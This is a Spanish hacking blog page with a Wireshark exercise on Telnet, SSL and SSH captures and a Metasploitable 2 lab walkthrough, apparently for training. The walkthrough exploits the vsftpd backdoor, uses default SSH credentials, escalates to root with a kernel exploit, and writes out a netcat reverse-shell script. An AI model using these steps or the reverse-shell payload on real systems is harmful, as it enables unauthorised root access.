Mostrando entradas con la etiqueta telnet. Mostrar todas las entradas
Mostrando entradas con la etiqueta telnet. Mostrar todas las entradas

sábado, 1 de octubre de 2016

Análisis básico de ficheros PCAP

Hola chicos!! Como tal vez sabréis, unos cuantos autores el blog estamos participando en el curso online de hacking ético organizado por Mondragon Unibersitatea.

Aunque es un curso de nivel básico, sirve para cubrir algunos aspectos fundamentales en el proceso del pentesting, y estamos disfrutándolo a tope. Además, la última parte, en la que estamos ya metidos de lleno, consiste en un wargame en el que los equipos securizan un servidor y posteriormente tratan de atacar los del resto. ¡Promete!

Este ejercicio que os traigo hoy está sacado del propio curso. Dado que de momento por aquí no hemos tocado demasiado el tema de análisis de ficheros pcap, que contienen los paquetes recogidos en una captura, me parece muy interesante presentároslo.

Os dejo aquí el proceso con explicaciones y cada uno de los ficheros que necesitáis para los ejercicios. Enjoy!!

Primera parte: analizando un protocolo inseguro - Telnet

Fichero de la escucha 

A partir de una captura de paquetes de red recogida en un archivo .pcap realizaremos un análisis de las operaciones realizadas mediante el protocolo Telnet. Este protocolo, al carecer de cifrado, permite que la escucha de red revele todo lo intercambiado en la conexión. 

Podemos abrir el fichero con cualquier analizador de paquetes, como puede ser Wireshark, el cual utilizaremos. 

Lectura del fichero con Wireshark
Como puede verse en la imagen, es muy fácil filtrar el protocolo a mostrar escribiendo simplemente telnet en el campo de filtros del programa.

Podemos ver en texto plano en los campos de análisis de cada paquete los datos intercambiados entre los dos hosts, desplegando la pestaña Telnet. Podemos responder asíl fácilmente a varias preguntas:

  • ¿Qué usuario y contraseña se ha utilizado para acceder al servidor de Telnet?
    • El usuario es fake, y la contraseña user. 
  • ¿Qué sistema operativo corre en la máquina?
    • Utiliza un OpenBSD 2.6-beta.
  • ¿Qué comandos se ejecutan en esta sesión?
    • Se ejecutaron cuatro comandos en la sesión:
ls
ls -a
/sbin/ping www.yahoo.com
(ctrl-c)
exit


Segunda parte: analizando SSL


En la siguiente parte, realizaremos un análisis muy similar con una traza que ha recogido una sesión SSH. A diferencia de Telnet, el protocolo SSH realiza un cifrado de la conexión, de forma que hace imposible que apreciemos a primera vista los datos que se intercambian. 

Lectura del fichero con Wireshark (2)
Aunque no podemos discernir las operaciones realizadas en la sesión, podemos responder a algunas preguntas: 
  • ¿Puedes identificar en qué paquete de la trama el servidor envía el certificado?
    • Sí. Los certificados se envían en los paquetes enviados por el servidor y que contienen la información marcada como Certificate. Si abrimos dicha información, se puede ver el certificado. 
Certificado encontrado en la sesión
  • ¿El certificado va en claro o está cifrado? ¿Puedes ver, por ejemplo, qué autoridad ha emitido el certificado?
    • Para que el cliente pueda ver el certificado antes de realizar una conexión completa mediante SSH y así verificar la identidad del servidor a priori, el certificado se envía en plano, sin cifrar. 
Información del certificado en Wireshark
  • Si queremos ver la información algo más clara, podemos exportar el certificado clicando con el botón derecho en la pestaña del certificado y en Export Packet Bytes..., para entonces guardarlo como un fichero .der. Podemos ver este certificado entonces haciendo doble clic sobre él. Entre otras cosas, podemos ver los datos acerca de la autoridad de certificación. 
Visualización de datos del certificado
  • ¿Qué asegura el certificado, la identidad del servidor o del cliente?
    • El certificado asegura la identidad del servidor. 

Tercera parte: analizando SSH


Por último para esta tarea, analizaremos otra captura del protocolo SSH para responder a otra serie de preguntas respecto a la misma. 
  • ¿Puedes ver a partir de qué paquete comienza el tráfico cifrado?
    • Sí. Aunque en la captura solamente se muestran los paquetes enviados desde el lado cliente, puede apreciarse que el tráfico cifrado comienza en el paquete marcado como 13, después de haber intercambiado las claves. 
Primer paquete cifrado de la sesión
  • ¿Qué protocolos viajan cifrados, todos (IP, TCP...) o alguno en particular?
    • Algunos protocolos viajan cifrados, otros no. Tanto TCP como IP son protocolos de capas inferiores a la de aplicación, la cual es la que suele ofrecer funciones de cifrado. Por ejemplo, el protocolo FTP viaja sobre TCP/IP, pero no está cifrado; su derivado seguro, FTPS, también viaja sobre TCP/IP, pero está cifrado.
  • ¿Es posible ver alguna información de usuario como contraseñas de acceso?
    • No es posible (al menos de forma matemáticamente rentable) recuperar ningún tipo de dato de la sesión una vez pactadas las claves de cifrado. 



Hasta aquí el ejercicio, hackers. Espero que os sirva para practicar un poco y disfrutar!!

domingo, 21 de febrero de 2016

Guia Metasploitable 2: Parte 1

Hola amantes de la seguridad, ésta es la primera entrada, de varias, en las que veremos como explotar las diferentes vulnerabilidades de Metasploitable 2, con el fin de poner en práctica nuestros conocimientos en un entorno seguro.

Para los que no lo conozcáis, Metasploitable 2 es una distribución basada en Ubuntu, configurada intencionadamente con fallos de seguridad y puertos abiertos y asi tener un entorno seguro en el que practicar. Se puede descargar desde el siguiente enlace.

Por otro lado, utilizaremos Kali Linux 2 como máquina atacante.

Una vez descargado Metasploitable 2 y abierto mediante un software de virtualización como Vmware o VirtualBox, procederemos a pasarle un nmap para ver los puertos abiertos.



Como vemos, tenemos bastantes puertos abiertos para ir probando. Los iremos explotando en el mismo orden que aparecen en la captura.


PUERTO 21 VSFTPD  

En el puerto 21 tenemos corriendo vsftpd 2.3.4. Esta versión tiene un backdoor (puerta trasera) que se introdujo en el archivo vsftpd-2.3.4.tar.gz el 30 de Junio de 2011 y se retiró el 3 de Julio del mismo año después de que un usuario avisara al autor.

Para explotarlo, utilizaremos un exploit disponible en metasploit.



Aquí vemos una caputura de la shell obtenida con permisos root.


PUERTO 22 SSH 

 En el puerto 22 está corriendo OpenSSH 4.7p1. Si pasamos un escáner de vulnerabilidades como nessus u openvas, una de las vulnerabilidades nos indica que este servicio tiene los credenciales por defecto, siendo estos la palabra "user" tanto para el usuario como para la contraseña.



Asique aprovechamos ésta vulnerabilidad  para conectarnos. Una vez conectados, vamos a intentar obtener permisos root, para ello nos fijamos en la version del kernel de linux.



Al ser una versión antigua, existen exploits para escalar privilegios localmente. Vamos a usar el siguiente:


Descargamos el exoploit a nuestra máquina, para subirlo a la víctima, utilizaremos el apache. Metemos el archivo descargado en la carpeta /var/www/html/ y arrancamos apache. 


Ahora desde la consola con la conexión ssh, descargamos el exploit con el comando wget y lo compilamos.




El siguiente paso es ver el PID del proceso que utiliza la tarjeta de red para ejecutar nuestro exploit en el mismo proceso.


En este caso es el número 2701. Antes de ejecutar el exploit, vamos a crear un payload que conecte mediante netcat con nuestra máquina Kali cuando ejecutemos el exploit, obteniendo asi nuestra shell con privilegios root.

Creamos un archivo llamado "run" en la misma carpeta que el exploit con el siguiente contenido:

#!/bin/bash
/bin/netcat -e /bin/bash 192.168.0.190 4444

Ponemos la ip de Kali y el puerto que queramos.

Lo siguiente es abrir una nueva terminal en Kali y poner el netcat a la escucha en el mismo puerto que pusimos anteriormente en el payload: nc -l -p 4444.

Ya tenemos todo preparado, solo falta ejecutar el exploit (en el proceso 2701): ./8572 2701


Aquí tenemos una captura de la shell obtenida con privilegios root.


PUERTO 23 TELNET

Este puerto no tiene misterio ninguno puesto que nada mas conectarnos, nos aparece el siguiente mensaje.



Nos dice usuario y contraseña para el login, además el usuario msfadmin tiene permisos root asique no hay nada mas que hacer.



PUERTO 25 SMTP

Esta vez vamos a utilizar un auxiliar de metasploit para obtener nombres de usuario.





No podemos hacer mucho mas en este puerto. 


Hasta aquí la primera entrega, espero os guste y sea de ayuda. Recordar que está hecho solo con fines educativos y en un entorno controlado, no nos hacemos responsables de su mal uso.

Google Analytics